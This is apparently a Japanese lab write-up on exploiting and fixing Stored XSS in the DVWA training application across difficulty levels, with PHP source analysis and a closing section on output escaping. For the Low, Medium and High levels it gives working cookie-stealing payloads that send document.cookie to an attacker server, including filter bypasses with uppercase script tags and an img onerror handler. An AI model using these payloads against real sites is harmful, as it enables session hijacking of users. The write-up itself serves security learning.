Skip to content
Go back

【DVWA】コードから学ぶStored XSSとPythonでの検証(Low/Medium/High)

Stored XSSとは

Stored XSS (蓄積型クロスサイトスクリプティング) とは、攻撃者がWebアプリケーションに対して悪意のあるスクリプトを送信し、それがデータベースやファイルシステムなどに保存(Stored)されることで発生する脆弱性です。

Reflected XSS(反射型)が、悪意あるURLをクリックしたその瞬間だけ発生するのに対し、Stored XSSはそのページを閲覧したすべてのユーザーに対して攻撃が実行されるため、被害範囲が広く、非常に危険度が高い脆弱性と言えます。

今回は脆弱性診断学習用アプリ「DVWA」を使用し、レベル別(Low/Medium/High/Impossible)に攻撃手法と対策コードを解析していきます。

環境構築については【DVWA】DockerでDVWA環境を構築してコマンドインジェクションを試すをご覧ください。 攻撃者サーバコードについては【DVWA】コードから学ぶDOM Based XSSとPythonでの検証(Low/Medium/High)をご覧ください。


Level: Low

挙動の確認

通常挙動
通常挙動
入力した内容が掲示板のように表示されています。ここにスクリプトを埋め込みます。

ソースコード解析

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

問題点

コードを見ると mysqli_real_escape_string 関数が使われています。これは SQLインジェクションを防ぐためにシングルクォート(')などをエスケープするものですが、XSSの原因となるHTMLタグ(<, >)はエスケープしません。

データベースには安全に保存されますが、ブラウザに表示される際に <script> タグがそのまま出力されてしまうため、XSSが発生します。

Cookie奪取実験

単純なアラートだけでなく、Pythonで簡易サーバーを立ててCookie(セッションID)を窃取してみます。

Message欄に以下のコードを入力します。文章の長さによる制限は開発者ツールで書き換えます。

<script>var img = new Image(); img.src = "http://attackerserver:65000/cookie=" + document.cookie;</script>

攻撃者のサーバーログに、被害者のCookie情報が送信されたことが確認できました。

攻撃者のサーバーログ
攻撃者のサーバーログ

Level: Medium

ソースコード解析

<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    // ...略
}
?>

問題点と回避策

Message欄には htmlspecialchars が適用されており、タグが無害化されるため攻撃できません。 一方、Name欄は str_replace( '<script>', '', $name ); という処理になっています。これは「<script> という文字列があったら削除する」というブラックリスト方式の対策です。

PHPの str_replace大文字と小文字を区別するため、すべて大文字の <SCRIPT> や、混在させた <ScRiPt> などは削除対象にならず、すり抜けてしまいます。

Cookie奪取

Name欄に以下のコードを入力します。ここでも文字数制限は開発者ツールで書き換えます。

<SCRIPT>new Image().src='[http://192.168.0.108:65000/cookie='+document.cookie](http://192.168.0.108:65000/cookie='+document.cookie);</SCRIPT>

大文字にすることでフィルタを回避し、スクリプトが実行されました。

被害者のブラウザ
被害者のブラウザ
攻撃者のサーバーログ
攻撃者のサーバーログ

Level: High

ソースコード解析

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // ...略
    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    // ...略
}
?>

問題点と回避策

正規表現 preg_replace を使い、大文字小文字の区別なく(/i フラグ)、かつ間に文字が挟まっても script という単語が含まれるタグを検知しようとしています。 しかし、JavaScriptを実行できるのは <script> タグだけではありません。

<img> タグや <body> タグなどのイベントハンドラ(onerroronload)を利用することで、scriptという文字列を使わずにJSを実行可能です。これは「特定の悪い言葉だけを禁止する」というブラックリスト方式の限界を示しています。

Cookie奪取

今回は <img> タグを使用します。画像の読み込みに失敗させて onerror イベントを発火させます。

<img src=x onerror=this.src='//attackerserver:65000/?'+document.cookie>
被害者のブラウザ
被害者のブラウザ
攻撃者のサーバーログ
攻撃者のサーバーログ

成功しました。


Level: Impossible

ソースコード解析

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message ); // ★ここが重要

    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name ); // ★ここが重要

    // Update database
    // PDOを使用したプリペアドステートメント
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

解説:なぜこれで防げるのか

Impossibleレベルでは、脆弱性が完全に修正されています。ポイントは以下の3点です。

  1. htmlspecialchars関数の完全適用 messagename両方に対し htmlspecialchars が適用されています。これにより、<> などの特殊文字が &lt; &gt; といったHTMLエンティティに変換されます。ブラウザはこれを「タグ」として解釈せず、「ただの文字」として表示するため、スクリプトは絶対に実行されません。
  2. Anti-CSRF Token checkToken により、正規の画面遷移を経由しないリクエスト(CSRF攻撃など)を拒否しています。
  3. PDO (Prepared Statements) データベース操作にPDOを使用しており、SQLインジェクションも防がれています(Lowレベルの mysqli_real_escape_string よりも確実でモダンな方法です)。

まとめ

DVWAのStored XSSを通して、以下のことを学びました。

  1. ブラックリスト方式は不完全である<script>を消す」「特定の文字を消す」といった対策(Medium/High)は、大文字小文字の変更や、別のタグ(<img>など)の使用によって容易に回避されてしまいます。
  2. サニタイズ(エスケープ)が最強の対策 XSSを防ぐためには、入力値を検証するだけでなく、出力する直前に htmlspecialchars を用いて、意味を持つ記号を無害化することが鉄則です。
  3. 防御の場所を間違えない SQLインジェクション対策(DBへの入力時)とXSS対策(HTMLへの出力時)は別物です。それぞれのフェーズで適切な処理を行う必要があります。

実際にPythonサーバーでCookieを受け取る実験を行うことで、Stored XSSの脅威と対策の重要性を肌で感じることができました。


Share this post on:

Next Post
【DVWA】コードから学ぶReflected XSSとPythonでの検証(Low/Medium/High)